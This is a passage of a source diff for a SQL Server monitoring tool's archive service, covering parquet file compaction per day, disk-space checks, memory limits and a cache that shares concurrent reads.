+        foreach (var path in Directory.GetFiles(_archivePath, "*.parquet"))
+        {
+            try
+            {
+                var info = new FileInfo(path);
+                snapshot.Add($"{info.Name}|{info.Length}|{info.LastWriteTimeUtc.Ticks}");
+            }
+            catch (IOException)
+            {
+                /* Gone between the listing and the stat: a change in itself, and the next snapshot will not list it. */
+                snapshot.Add($"{Path.GetFileName(path)}|gone");
+            }
+        }
+
+        snapshot.Sort(StringComparer.Ordinal);
+        return snapshot;
+    }
+
     /* The DELETE of a periodic export, under the write lock: it modifies table data and the next CHECKPOINT
        reorganizes the file, so readers must not be mid-query when that happens. Returns the rows deleted.
        The export itself calls the Core form below, with its promote under the same lock (#4824); this one is for
@@ -425,6 +491,28 @@ private void TryDeletePendingArchive(string table)
         }
     }
 
+    /* The file names the live .archive-pending journals name. A journal that cannot be read names nothing. */
+    private HashSet<string> PendingArchiveFileNames()
+    {
+        var names = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+        foreach (var journalPath in Directory.GetFiles(_archivePath, "*" + PendingArchiveSuffix))
+        {
+            try
+            {
+                if (ReadPendingArchive(journalPath) is { } pending)
+                {
+                    names.Add(pending.FileName);
+                }
+            }
+            catch (Exception ex)
+            {
+                _logger?.LogWarning(ex, "Could not read the archive journal {Journal}; compaction goes on without it", Path.GetFileName(journalPath));
+            }
+        }
+
+        return names;
+    }
+
     /* Null for a journal without a readable cutoff and file name (a truncated or foreign file). */
     private static (DateTime Cutoff, string FileName)? ReadPendingArchive(string journalPath)
     {
@@ -596,7 +684,7 @@ await WithRaisedCopyMemoryLimit(connection, async () =>
             cmd.CommandText = $@"
 COPY (
     SELECT * FROM {table} WHERE {timeColumn} < $1
-) TO '{EscapeSqlPath(filePath)}' (FORMAT PARQUET, COMPRESSION ZSTD)";
+) TO '{EscapeSqlPath(filePath)}' ({ParquetCompaction.ArchiveCopyOptions})";
             cmd.Parameters.Add(new DuckDBParameter { Value = cutoff });
             await cmd.ExecuteNonQueryAsync();
         });
@@ -609,8 +697,14 @@ The resting value is also set in DuckDbInitializer.ConnectionString so
        newly-opened connections start at the resting cap; the COPY value is
        applied transiently around parquet COPY operations and restored after.
        See WithRaisedCopyMemoryLimit and the comment block on ConnectionString. */
-    private const string MainConnectionRestingMemoryLimit = "1GB";
-    private const string MainConnectionCopyMemoryLimit = "4GB";
+    private static string MainConnectionRestingMemoryLimit => DuckDbInitializer.MainConnectionMemoryLimit;
+
+    /// <summary>
+    /// The COPY value: 4 GB, or the user's setting (#5457) when that is larger. It must never land below the
+    /// resting value, or the "raise" would lower the limit.
+    /// </summary>
+    internal static string MainConnectionCopyMemoryLimit =>
+        $"{Math.Max(4, DuckDbInitializer.ConfiguredMemoryLimitGb)}GB";
 
     /// <summary>
     /// Runs <paramref name="action"/> with the connection's memory_limit raised
@@ -702,14 +796,15 @@ between the two. */
             }
             catch (Exception ex)
             {
-                _logger?.LogError(ex, "Could not resolve the compaction swap {Journal}; its month is left as it is until the next run", journalName);
+                _logger?.LogError(ex, "Could not resolve the compaction swap {Journal}; its month (or day) is left as it is until the next run", journalName);
             }
 
-            /* A journal still present, resolved or not, keeps its month out of this run's merge: a new swap
-               for the month would write over the journal and forget the files it still has to delete. */
+            /* A journal still present, resolved or not, keeps its month (or day) out of this run's merge: a new swap
+               for the month (or day) would write over the journal and forget the files it still has to delete. */
             if (File.Exists(journalPath))
             {
-                var m = Regex.Match(journalName, @"^(\d{6})_(.+)" + Regex.Escape(SwapJournalSuffix) + "$");
+                /* The group's period is a month (6 digits) or, for a table merged per day, a day (8 digits). */
+                var m = Regex.Match(journalName, @"^(\d{8}|\d{6})_(.+)" + Regex.Escape(SwapJournalSuffix) + "$");
                 if (m.Success)
                 {
                     unresolvedGroups.Add((m.Groups[1].Value, m.Groups[2].Value));
@@ -735,7 +830,9 @@ rebuilds the views again before it ends. */
     }
 
     /// <summary>
-    /// Compacts all per-cycle parquet files into monthly files (YYYYMM_tablename.parquet).
+    /// Compacts all per-cycle parquet files into monthly files (YYYYMM_tablename.parquet), or, for the tables
+    /// <see cref="ParquetCompaction.IsDailyTable"/> names (query_snapshots, query_stats, query_store_stats), into daily files
+    /// (YYYYMMDD_tablename.parquet, and _ptNNN parts past the table's smaller batch budget).
     /// This keeps the archive directory small (~75 files for 3 months of 25 tables)
     /// and dramatically improves DuckDB read_parquet glob performance.
     /// </summary>
@@ -748,9 +845,16 @@ internal void CompactParquetFiles()
 
         var (alreadyFolded, unresolvedGroups) = ReplayCompactionSwapJournals();
 
+        /* A file a live .archive-pending journal names is not compacted. The journal means the run that wrote the
+           file died before it deleted the archived rows, and recovery finishes that DELETE only while the file
+           is still there: a per-cycle file folded into a day (or month) file and removed first would read as
+           "never written", the rows would stay in the table and be exported a second time, and the archive
+           would hold them twice (#5393). */
+        var pendingArchiveFiles = PendingArchiveFileNames();
+
         var allFiles = Directory.GetFiles(_archivePath, "*.parquet")
             .Select(f => Path.GetFileName(f))
-            .Where(f => !alreadyFolded.Contains(f))
+            .Where(f => !alreadyFolded.Contains(f) && !pendingArchiveFiles.Contains(f))
             .ToList();
 
         /* Group files by (month, table). Recognized formats:
@@ -774,6 +878,25 @@ internal void CompactParquetFiles()
             {
                 month = m.Groups[1].Value[..6]; /* YYYYMM */
                 table = m.Groups[2].Value;
+
+                /* A table merged per day keeps the whole day as its group key (#5393). */
+                if (ParquetCompaction.IsDailyTable(table))
+                {
+                    month = m.Groups[1].Value;
+                }
+            }
+
+            /* YYYYMMDD_tablename or YYYYMMDD_tablename_ptNNN of a table merged per day: the day file, and the
+               part files it splits into past its batch budget (#5393). Matched before the generic daily form
+               below, which would read the part suffix as part of the table name. */
+            if (month == null)
+            {
+                m = Regex.Match(name, @"^(\d{8})_([a-z].+?)(_pt\d{3})?$");
+                if (m.Success && ParquetCompaction.IsDailyTable(m.Groups[2].Value))
+                {
+                    month = m.Groups[1].Value;
+                    table = m.Groups[2].Value;
+                }
             }
 
             /* YYYYMMDD_tablename (no HHMM) */
@@ -837,6 +960,21 @@ imported query_snapshots part out of the compaction skip below. */
                 }
             }
 
+            /* imported_YYYYMMDD_tablename, or imported_YYYYMMDD_tablename_ptNNN: a day file of a table merged per
+               day (query_snapshots), imported from a previous install (DataImportService prefixes imported_ to the
+               name). Without this it matched no shape and logged "Unrecognized parquet file format" on every pass
+               (#5393). Grouped under its month, where the table's compaction skip leaves it alone, like the other
+               imported shapes. The per-cycle form above has HHMM after the date, so it never reads as this. */
+            if (month == null)
+            {
+                m = Regex.Match(name, @"^imported_(\d{8})_(.+?)(_pt\d{3})?$");
+                if (m.Success)
+                {
+                    month = m.Groups[1].Value[..6];
+                    table = m.Groups[2].Value;
+                }
+            }
+
             /* YYYYMM_tablename_ptNNN (multi-part monthly — must match before the
                generic YYYYMM_tablename regex below, otherwise the trailing _ptNNN
                gets captured as part of the table name and groups get split). */
@@ -896,21 +1034,30 @@ parquet files already live on. */
         Directory.CreateDirectory(spillDir);
         var spillDirSql = spillDir.Replace("\\", "/");
 
+        /* Groups this pass could not merge in full for want of free disk space (#5377), reported in ONE warning
+           after the loop rather than one per group. */
+        var lowSpaceGroups = new List<(string Month, string Table, long NeededBytes, long FreeBytes, long MergedBytes, long ReserveBytes, int HeldBack)>();
+        var largestNeedBytes = 0L;
+
+        var compactionClock = Stopwatch.StartNew();
+        var dailyMergesStarted = 0;
+        var dailyGroupsDeferred = 0;
+
         foreach (var ((month, table), files) in groups)
         {
-            /* Best-effort: some tables can't be merged within the memory cap and
-               are skipped — their per-cycle files are left in place and pruned by
-               retention (see ParquetCompaction.SkipCompactionTables and #933). */
-            if (ParquetCompaction.ShouldSkipCompaction(table))
+            /* A table merged per day (query_snapshots, #5393; query_stats and query_store_stats, #5410) has no monthly merge: its monthly, legacy and
+               imported_ files stay as they are and are pruned by retention. Only its day groups go on. */
+            if (ParquetCompaction.ShouldSkipCompaction(table, month))
             {
                 continue;
             }
 
-            /* If every file in the group is already in final monthly/part format (YYYYMM_table or
-               YYYYMM_table_ptNNN, with or without the imported_ prefix), there are no new per-cycle files
-               to fold in, so skip. Otherwise a month that legitimately split into N part files (input over
-               the per-batch budget) gets re-read and re-written on every archival cycle. */
-            if (files.All(f => Regex.IsMatch(Path.GetFileNameWithoutExtension(f), @"^(imported_)?\d{6}_.+?(_pt\d{3})?$")))
+            /* If every file in the group is already in final format (YYYYMM_table or YYYYMM_table_ptNNN, or for
+               a table merged per day YYYYMMDD_table or YYYYMMDD_table_ptNNN, with or without the imported_
+               prefix), there are no new per-cycle files to fold in, so skip. Otherwise a month (or day) that
+               legitimately split into N part files (input over the per-batch budget) gets re-read and
+               re-written on every archival cycle. */
+            if (files.All(IsMergedFileName))
             {
                 continue;
             }
@@ -923,30 +1070,115 @@ are skipped — their per-cycle files are left in place and pruned by
             var batchOutputs = new List<(string TempPath, string FinalPath)>();
             try
             {
-                var sourcePaths = files
+                var groupPaths = files
                     .Select(f => Path.Combine(_archivePath, f).Replace("\\", "/"))
                     .ToList();
 
                 /* Sort smallest-first so size-budget batches fill cheaply at first. */
-                var sorted = sourcePaths
+                var sorted = groupPaths
                     .OrderBy(p => new FileInfo(p.Replace("/", "\\")).Length)
                     .ToList();
 
                 /* Bucket files into size-budgeted batches so a single COPY never
-                   merges an unbounded amount of data. Wide query-plan-XML tables
-                   that can't merge within the cap are skipped above; the tables
-                   that reach here compress mildly, so the on-disk budget is a fine
-                   proxy and they fit one batch with many files (#933). */
-                var batches = ParquetCompaction.BuildSizeBudgetedBatches(sorted, CompactionBatchInputBytes);
-
-                /* Plan the output names. With one batch we keep the existing YYYYMM_table.parquet name
-                   (backward compatible). With multiple batches we emit YYYYMM_table_ptNNN.parquet; the
-                   archive views glob both shapes, so readers see them all. */
+                   merges an unbounded amount of data. Most tables compress mildly, so
+                   the on-disk budget is a fine proxy and they fit one batch with many
+                   files (#933). query_snapshots, whose query-plan XML expands about 30x
+                   on read, gets a much smaller budget (#5393). */
+                var isDaily = ParquetCompaction.IsDailyTable(table);
+                var batches = ParquetCompaction.BuildSizeBudgetedBatches(sorted, isDaily ? DailyCompactionBatchInputBytes : CompactionBatchInputBytes);
+
+                /* Merge only what changes, and only what fits (#5377).
+
+                   A batch that holds one file already in its final YYYYMM_table or _ptNNN form is that file
+                   alone: the budget gave it a batch of its own because nothing else fits beside it. Merging it
+                   would read it and write it back unchanged, so a full month of a wide table (Query Store: 32
+                   files, 5.86 GiB in one report) was rewritten in full on EVERY hourly pass to fold in a few
+                   MB of new rows. Those files are left where they are.
+
+                   What is left is written to temps that all exist at once, next to the inputs they replace
+                   (the swap below removes the inputs only after every temp is in place). A batch whose input
+                   would not fit in the free space, with the headroom a merge needs, is held back for a later
+                   pass; its files stay as they are, readable, and the pass says so once, below. Batches are
+                   disjoint, so any subset of them is a complete merge of its own files. */
+                /* A table merged per day also leaves a batch of one alone, whatever the file's name (#5393): a
+                   per-cycle file over the small budget is merged by nothing else, and rewriting it alone would
+                   only rename it while risking the memory the budget exists to bound. */
+                var wantedBatches = batches
+                    .Where(b => !(b.Count == 1 && (isDaily || IsMergedFileName(Path.GetFileName(b[0])))))
+                    .ToList();
+                var wantedBytes = wantedBatches.Sum(BatchInputBytes);
+                largestNeedBytes = Math.Max(largestNeedBytes, wantedBytes);
+
+                var freeBytes = _duckDb.AvailableFreeBytesProvider(_archivePath);
+                /* The database keeps writing while these merges run (WAL, CHECKPOINT growth), so the fit leaves
+                   the larger of the flat headroom and the database file's size free, not just 64 MiB. */
+                var reserveBytes = DataVolumeSpace.CompactionReserveBytes(_duckDb.DatabasePath);
+                var keptBytes = 0L;
+                batches = [];
+                foreach (var wanted in wantedBatches)
+                {
+                    var bytes = BatchInputBytes(wanted);
+                    if (freeBytes is long free && keptBytes + bytes + reserveBytes > free)
+                    {
+                        continue;
+                    }
+
+                    batches.Add(wanted);
+                    keptBytes += bytes;
+                }
+
+                if (freeBytes is long observedFree && batches.Count < wantedBatches.Count)
+                {
+                    lowSpaceGroups.Add((month, table, wantedBytes + reserveBytes, observedFree, keptBytes, reserveBytes, wantedBatches.Count - batches.Count));
+                }
+
+                if (batches.Count == 0)
+                {
+                    continue;
+                }
+
+                /* A daily table's merge is slow, so a pass that has spent its time budget on them (a first pass
+                   over months of per-cycle files) starts no further one; the rest waits for the next pass. The
+                   first merge always starts, so a pass makes progress. */
+                if (isDaily)
+                {
+                    if (dailyMergesStarted > 0 && compactionClock.Elapsed >= DailyCompactionPassBudget)
+                    {
+                        dailyGroupsDeferred++;
+                        continue;
+                    }
+
+                    dailyMergesStarted++;
+                }
+
+                var sourcePaths = batches.SelectMany(b => b).ToList();
+
+                /* Plan the output names. With one batch and nothing left beside it we keep the existing
+                   YYYYMM_table.parquet name (backward compatible). Otherwise we emit YYYYMM_table_ptNNN.parquet
+                   (a daily table's period is a day: YYYYMMDD_table.parquet and its _ptNNN parts),
+                   the lowest numbers no file that stays is using; the archive views glob both shapes, so readers
+                   see them all. An output may take the name of an input it consumes (a replacing output, which
+                   the swap handles); it never takes the name of a file that stays. */
+                var staying = groupPaths.Except(sourcePaths, StringComparer.OrdinalIgnoreCase)
+                    .Select(p => Path.GetFileName(p))
+                    .ToHashSet(StringComparer.OrdinalIgnoreCase);
+                var nextPart = 1;
                 for (var i = 0; i < batches.Count; i++)
                 {
-                    var finalName = batches.Count == 1
-                        ? $"{month}_{table}.parquet"
-                        : $"{month}_{table}_pt{i + 1:D3}.parquet";
+                    string finalName;
+                    if (batches.Count == 1 && staying.Count == 0)
+                    {
+                        finalName = $"{month}_{table}.parquet";
+                    }
+                    else
+                    {
+                        do
+                        {
+                            finalName = $"{month}_{table}_pt{nextPart++:D3}.parquet";
+                        }
+                        while (staying.Contains(finalName));
+                    }
+
                     var finalPath = Path.Combine(_archivePath, finalName).Replace("\\", "/");
                     batchOutputs.Add((TempPath: finalPath + ".tmp", FinalPath: finalPath));
                 }
@@ -956,7 +1188,8 @@ proxy and they fit one batch with many files (#933). */
                    place for next cycle's retry. */
                 for (var i = 0; i < batches.Count; i++)
                 {
-                    ParquetCompaction.MergeBatchToFile(table, batches[i], batchOutputs[i].TempPath, spillDirSql);
+                    ParquetCompaction.MergeBatchToFile(table, batches[i], batchOutputs[i].TempPath, spillDirSql,
+                        threads: ParquetCompaction.ThreadsFor(table));
                 }
 
                 OnCompactionTempsReadyForTests?.Invoke(batchOutputs.Select(o => o.TempPath).ToList());
@@ -1004,12 +1237,12 @@ cycle starts from exactly the files this one found.
 
                 if (batches.Count == 1)
                 {
-                    _logger?.LogDebug("Compacted {Count} files into {Target}", files.Count, batchOutputs[0].FinalPath);
+                    _logger?.LogDebug("Compacted {Count} files into {Target}", sourcePaths.Count, batchOutputs[0].FinalPath);
                 }
                 else
                 {
                     _logger?.LogInformation("Compacted {Count} files into {Parts} part files for {Month}/{Table} (input too large for single batch)",
-                        files.Count, batches.Count, month, table);
+                        sourcePaths.Count, batches.Count, month, table);
                 }
             }
             catch (Exception ex)
@@ -1024,6 +1257,25 @@ cycle starts from exactly the files this one found.
             }
         }
 
+        if (dailyGroupsDeferred > 0)
+        {
+            _logger?.LogInformation(
+                "Parquet compaction in {Folder} merged {Started} day group(s) of its daily tables in {Minutes:F1} minutes and left {Deferred} more for the next pass",
+                _archivePath, dailyMergesStarted, compactionClock.Elapsed.TotalMinutes, dailyGroupsDeferred);
+        }
+
+        LastCompactionLargestNeedBytes = largestNeedBytes;
+        if (lowSpaceGroups.Count > 0)
+        {
+            var details = string.Join("; ", lowSpaceGroups.Select(g => FormattableString.Invariant(
+                $"{g.Table} ({g.Month}) needs {g.NeededBytes:N0} bytes ({DataVolumeSpace.FormatBytes(g.NeededBytes)}) and {g.FreeBytes:N0} are free ({DataVolumeSpace.FormatBytes(g.FreeBytes)}), keeps {g.ReserveBytes:N0} bytes ({DataVolumeSpace.FormatBytes(g.ReserveBytes)}) free for the database, holds back {g.HeldBack} of its batches, ") +
+                (g.MergedBytes > 0 ? $"{DataVolumeSpace.FormatBytes(g.MergedBytes)} merged anyway" : "nothing merged")));
+            _logger?.LogWarning(
+                "Parquet compaction in {Folder} could not merge everything for lack of free disk space: {Details}. " +
+                "The files it left are merged on a later pass once the space is there; until then the archive keeps more files, and every read of those tables opens each one",
+                _archivePath, details);
+        }
+
         if (totalMerged > 0)
         {
             var remaining = Directory.GetFiles(_archivePath, "*.parquet").Length;
@@ -1040,7 +1292,31 @@ cycle starts from exactly the files this one found.
         }
     }
 
-    /* One month/table swap: the merged outputs about to replace the group's inputs. An output is "replacing"
+    /* A file already in its final monthly form: YYYYMM_table or YYYYMM_table_ptNNN, with or without the imported_
+       prefix. Compaction produces these, so a group made only of them has no new per-cycle files to fold in, and
+       a batch of one of them has nothing to merge. */
+    private static readonly Regex s_mergedFileNamePattern = new(@"^(imported_)?\d{6}_.+?(_pt\d{3})?$", RegexOptions.Compiled);
+
+    /* The same for a table merged per day: YYYYMMDD_table or YYYYMMDD_table_ptNNN (#5393). A per-cycle name
+       (YYYYMMDD_HHMM_table) puts the time in front of the table name, so it never reads as one of these. */
+    private static readonly Regex s_dailyMergedFileNamePattern = new(@"^\d{8}_(?<table>.+?)(_pt\d{3})?$", RegexOptions.Compiled);
+
+    private static bool IsMergedFileName(string fileName)
+    {
+        var name = Path.GetFileNameWithoutExtension(fileName);
+        if (s_mergedFileNamePattern.IsMatch(name))
+        {
+            return true;
+        }
+
+        var daily = s_dailyMergedFileNamePattern.Match(name);
+        return daily.Success && ParquetCompaction.IsDailyTable(daily.Groups["table"].Value);
+    }
+
+    private static long BatchInputBytes(List<string> batch) =>
+        batch.Sum(p => new FileInfo(p.Replace("/", "\\")).Length);
+
+    /* One month/table (or day/table) swap: the merged outputs about to replace the group's inputs. An output is "replacing"
        when a file already exists at its final name (the month's existing file or part file, itself one of the
        inputs); a "fresh" output has nothing at its name. Inputs are the group's files that are not output
        names. Everything is a full path. */
@@ -1415,6 +1691,9 @@ subdirectory is never read as archive data. */
             await RemoveUnfinishedResetExportsAndRefreshViewsAsync();
             await RecoverInterruptedArchiveWorkAsync();
 
+            /* The reset exports every table and checkpoints; the same once-per-pass volume check (#5377). */
+            _duckDb.WarnIfDataVolumeLow(LastCompactionLargestNeedBytes);
+
             var timestamp = DateTime.UtcNow.ToString("yyyyMMdd_HHmm");
 
             _logger?.LogInformation("Archiving ALL data to Parquet (prefix: {Timestamp}) and resetting database", timestamp);
@@ -1459,7 +1738,7 @@ the 15-minute backoff repeats up to 96 times a day. */
                         await WithRaisedCopyMemoryLimit(connection, async () =>
                         {
                             using var exportCmd = connection.CreateCommand();
-                            exportCmd.CommandText = $"COPY (SELECT * FROM {table}) TO '{EscapeSqlPath(tempParquetPath)}' (FORMAT PARQUET, COMPRESSION ZSTD)";
+                            exportCmd.CommandText = $"COPY (SELECT * FROM {table}) TO '{EscapeSqlPath(tempParquetPath)}' ({ParquetCompaction.ArchiveCopyOptions})";
                             await exportCmd.ExecuteNonQueryAsync();
                         });
 
@@ -1531,7 +1810,7 @@ database still holds every row they contain. */
                             await WithRaisedCopyMemoryLimit(copyConnection, async () =>
                             {
                                 using var exportCmd = copyConnection.CreateCommand();
-                                exportCmd.CommandText = $"COPY (SELECT * FROM {table}) TO '{EscapeSqlPath(preservePath)}' (FORMAT PARQUET)";
+                                exportCmd.CommandText = $"COPY (SELECT * FROM {table}) TO '{EscapeSqlPath(preservePath)}' ({ParquetCompaction.ArchiveCopyOptions})";
                                 await exportCmd.ExecuteNonQueryAsync();
                             });
                             preservedFiles[table] = preservePath;
diff --git a/Lite/Services/ArchiveWatermarkCache.cs b/Lite/Services/ArchiveWatermarkCache.cs
index d3a511e5b0..1ef9a66748 100644
--- a/Lite/Services/ArchiveWatermarkCache.cs
+++ b/Lite/Services/ArchiveWatermarkCache.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Concurrent;
+using System.Threading;
 using System.Threading.Tasks;
 
 namespace PerformanceMonitorLite.Services;
@@ -21,35 +22,130 @@ namespace PerformanceMonitorLite.Services;
 /// cannot change within a generation except by live rows being added, which the live read sees on its own,
 /// because Parquet files only change when <see cref="Database.DuckDbInitializer"/> rebuilds the views.</para>
 ///
-/// <para><b>Bounded.</b> A key names the read (table, column, server, database), never a moving bound such
-/// as a collection-time floor, so there is one entry per key and each is overwritten in place.</para>
+/// <para><b>Bounded.</b> A key names the read (table, column), never a moving bound such as a
+/// collection-time floor, so there is one entry per key and each is overwritten in place. A read whose
+/// answer depends on a slowly moving bound (the per-database floored read) carries that bound's bucket as
+/// the entry's <c>variant</c> rather than in the key: a new bucket overwrites the entry instead of adding
+/// one.</para>
 ///
 /// <para><b>The generation rule.</b> Each entry stores the
 /// <see cref="Database.DuckDbInitializer.ArchiveViewGeneration"/> it was read in, and is reused only while
 /// the current generation is equal. The generation is sampled BEFORE the view is queried, so a rebuild that
 /// lands mid-read leaves a stale-tagged entry that the next call re-reads rather than trusts. A null value
-/// is a valid cached answer ("the archive holds nothing for this key").</para>
+/// is a valid cached answer ("the archive holds nothing for this key"). A read that finishes after a newer
+/// generation's entry landed never overwrites it.</para>
+///
+/// <para><b>Single flight (#5377).</b> Concurrent first callers for one key (one generation, one variant)
+/// share ONE read: the first runs it and the rest await its result. Without that, a cold generation made
+/// every per-database caller of a table start its own whole-archive scan at once. A joiner leaves on its own
+/// token without disturbing the read; if the read itself is abandoned because ITS caller was cancelled, each
+/// remaining joiner retries (one of them runs the read again) rather than inheriting that caller's
+/// cancellation. A read that fails for any other reason fails every joiner with the same exception and
+/// stores nothing, so the next call tries again. A caller that finds an OLDER generation's read still in
+/// flight takes the flight over, so a newly bumped generation costs one read, not one per caller.</para>
 ///
 /// <para>One instance lives on each <c>RemoteCollectorService</c>, which the app creates once.</para>
 /// </summary>
 internal sealed class ArchiveWatermarkCache
 {
-    private readonly ConcurrentDictionary<string, (long Generation, object? Value)> _entries =
+    private readonly ConcurrentDictionary<string, (long Generation, long Variant, object? Value)> _entries =
         new(StringComparer.Ordinal);
 
+    private readonly ConcurrentDictionary<string, Flight> _flights = new(StringComparer.Ordinal);
+
+    private sealed class Flight(long generation, long variant)
+    {
+        public long Generation { get; } = generation;
+        public long Variant { get; } = variant;
+        public TaskCompletionSource<object?> Done { get; } = new(TaskCreationOptions.RunContinuationsAsynchronously);
+    }
+
     /// <summary>
     /// Returns the cached view result for <paramref name="key"/> when it was read in
-    /// <paramref name="generation"/>; otherwise runs <paramref name="readView"/>, stores its result
-    /// against <paramref name="generation"/> and returns it. An exception from <paramref name="readView"/>
-    /// propagates and stores nothing.
+    /// <paramref name="generation"/> (and with <paramref name="variant"/>); otherwise runs
+    /// <paramref name="readView"/> once however many callers ask at the same time, stores its result and
+    /// returns it. An exception from <paramref name="readView"/> propagates and stores nothing.
+    /// <paramref name="cancellationToken"/> bounds only this caller's wait for a read another caller is
+    /// running; <paramref name="readView"/> carries whatever token the running caller wants.
     /// </summary>
-    internal async Task<object?> GetOrReadAsync(string key, long generation, Func<Task<object?>> readView)
+    internal async Task<object?> GetOrReadAsync(
+        string key, long generation, Func<Task<object?>> readView,
+        long variant = 0, CancellationToken cancellationToken = default)
     {
-        if (_entries.TryGetValue(key, out var entry) && entry.Generation == generation)
-            return entry.Value;
+        while (true)
+        {
+            cancellationToken.ThrowIfCancellationRequested();
+            if (_entries.TryGetValue(key, out var entry) && entry.Generation == generation && entry.Variant == variant)
+                return entry.Value;
+
+            var mine = new Flight(generation, variant);
+            var flight = _flights.GetOrAdd(key, mine);
+            if (ReferenceEquals(flight, mine))
+                return await RunFlightAsync(key, generation, variant, mine, readView);
 
-        var value = await readView();
-        _entries[key] = (generation, value);
-        return value;
+            if (flight.Generation < generation)
+            {
+                /* The running read belongs to an OLDER generation (its leader sampled before an archive pass bumped
+                   it and may still be queued for a slot). Its answer is useless to this caller, and leaving it
+                   registered would send every caller of the new generation to a whole-archive read of its own, the
+                   per-database herd back right after each archive pass. Take the flight over: the first caller of
+                   the new generation wins the swap and runs one read, the rest join it. The old leader keeps its
+                   own joiners and removes only its own flight when it finishes. A lost swap goes round again. */
+                if (_flights.TryUpdate(key, mine, flight))
+                    return await RunFlightAsync(key, generation, variant, mine, readView);
+                continue;
+            }
+
+            if (flight.Generation != generation || flight.Variant != variant)
+            {
+                /* A read for a newer generation or a different bucket is running for this key. It would answer a
+                   different question, so this caller reads for itself and shares nothing. */
+                var own = await readView();
+                Store(key, generation, variant, own);
+                return own;
+            }
+
+            try
+            {
+                return await flight.Done.Task.WaitAsync(cancellationToken);
+            }
+            catch (OperationCanceledException) when (!cancellationToken.IsCancellationRequested)
+            {
+                /* The running caller was cancelled, not this one: go round again and read, or join whoever
+                   does. */
+            }
+        }
+    }
+
+    private async Task<object?> RunFlightAsync(
+        string key, long generation, long variant, Flight flight, Func<Task<object?>> readView)
+    {
+        try
+        {
+            var value = await readView();
+            Store(key, generation, variant, value);
+            _flights.TryRemove(new System.Collections.Generic.KeyValuePair<string, Flight>(key, flight));
+            flight.Done.TrySetResult(value);
+            return value;
+        }
+        catch (OperationCanceledException)
+        {
+            _flights.TryRemove(new System.Collections.Generic.KeyValuePair<string, Flight>(key, flight));
+            flight.Done.TrySetCanceled();
+            throw;
+        }
+        catch (Exception ex)
+        {
+            _flights.TryRemove(new System.Collections.Generic.KeyValuePair<string, Flight>(key, flight));
+            flight.Done.TrySetException(ex);
+            _ = flight.Done.Task.Exception; // observed here, so a flight nobody joined never reports unobserved
+            throw;
+        }
     }
+
+    private void Store(string key, long generation, long variant, object? value) =>
+        _entries.AddOrUpdate(
+            key,
+            (generation, variant, value),
+            (_, old) => old.Generation > generation ? old : (generation, variant, value));
 }
diff --git a/Lite/Services/CollectionBackgroundService.cs b/Lite/Services/CollectionBackgroundService.cs
index 63c12d7b4a..9f0a0266be 100644
--- a/Lite/Services/CollectionBackgroundService.cs
+++ b/Lite/Services/CollectionBackgroundService.cs
@@ -632,6 +632,8 @@ set or nothing (#2448). */
                     ServerName = serverName,
                     TimeRangeStart = latest.AddMinutes(-SameStatementPileupDetector.BaselineLookbackMinutes),
                     TimeRangeEnd = latest,
+                    /* #5558: the same-statement pileup is a node-local finding (queries that piled up on THIS node), so there is nothing to skip. */
+                    SecondaryReplicaDatabases = SecondaryReplicaScope.NoneSkipped,
                     CancellationToken = stoppingToken,
                     ShutdownToken = stoppingToken,
                 };
diff --git a/Lite/Services/DataImportService.cs b/Lite/Services/DataImportService.cs
index b654a5d544..dd1bb751d2 100644
--- a/Lite/Services/DataImportService.cs
+++ b/Lite/Services/DataImportService.cs
@@ -112,7 +112,7 @@ public static (bool Locked, int TablesFlushed) FlushOldDatabase(string folderPat
                        in a Windows path — so escape it for the SQL literal the way every sibling COPY does
                        (ArchiveService, ParquetCompaction), instead of interpolating it raw. */
                     using var exportCmd = connection.CreateCommand();
-                    exportCmd.CommandText = $"COPY (SELECT * FROM {table}) TO '{DuckDbInitializer.EscapeSqlPath(parquetPath)}' (FORMAT PARQUET, COMPRESSION ZSTD)";
+                    exportCmd.CommandText = $"COPY (SELECT * FROM {table}) TO '{DuckDbInitializer.EscapeSqlPath(parquetPath)}' ({ParquetCompaction.ArchiveCopyOptions})";
                     exportCmd.ExecuteNonQuery();
 
                     tablesFlushed++;
diff --git a/Lite/Services/DataVolumeSpace.cs b/Lite/Services/DataVolumeSpace.cs
new file mode 100644
index 0000000000..eb26814a0f
--- /dev/null
+++ b/Lite/Services/DataVolumeSpace.cs
@@ -0,0 +1,170 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.IO;
+using System.Runtime.InteropServices;
+using Microsoft.Extensions.Logging;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// Free space on the volume that holds Lite's own data folder (#5377). Lite had no check of its own volume:
+/// the FinOps free-space code is about monitored servers. A compaction merge writes its output next to its
+/// inputs and a CHECKPOINT can grow the database file, and on a volume with a couple of GiB free both fail
+/// part way with an I/O error that names neither the cause nor the numbers.
+/// </summary>
+internal static class DataVolumeSpace
+{
+    /// <summary>
+    /// Room kept free on top of a compaction's merged output: DuckDB's spill folder, the swap journal and
+    /// whatever else writes to the volume while the merge runs.
+    /// </summary>
+    internal const long CompactionHeadroomBytes = 64L * 1024 * 1024;
+
+    /// <summary>
+    /// What a compaction pass leaves free for the main database (#5377): the larger of the flat
+    /// <see cref="CompactionHeadroomBytes"/> and the database file's size. While the merges run the database
+    /// keeps writing (its WAL grows up to the checkpoint threshold, a CHECKPOINT can grow the file by about its
+    /// own size), so merged output may not take the volume down to the flat headroom. A missing or unreadable
+    /// file counts as 0.
+    /// </summary>
+    internal static long CompactionReserveBytes(string databasePath)
+    {
+        long databaseBytes = 0;
+        try
+        {
+            databaseBytes = File.Exists(databasePath) ? new FileInfo(databasePath).Length : 0;
+        }
+        catch (Exception)
+        {
+            /* unreadable: the flat headroom still applies */
+        }
+
+        return Math.Max(CompactionHeadroomBytes, databaseBytes);
+    }
+
+    /// <summary>
+    /// Bytes available to this user on the volume holding <paramref name="path"/>, or null when they cannot
+    /// be read (a network share has no drive letter, a removed drive, no permission). Null means "unknown",
+    /// and callers treat unknown as enough, so a share is never warned about or blocked on a guess.
+    /// Asks Windows about the folder itself (#5377): the drive root answers for the root volume, and a data
+    /// folder on a mounted volume or a junction lives on another one. The drive root is the fallback.
+    /// </summary>
+    internal static long? GetAvailableFreeBytes(string path) =>
+        GetAvailableFreeBytes(path, GetFolderFreeBytes, GetDriveRootFreeBytes);
+
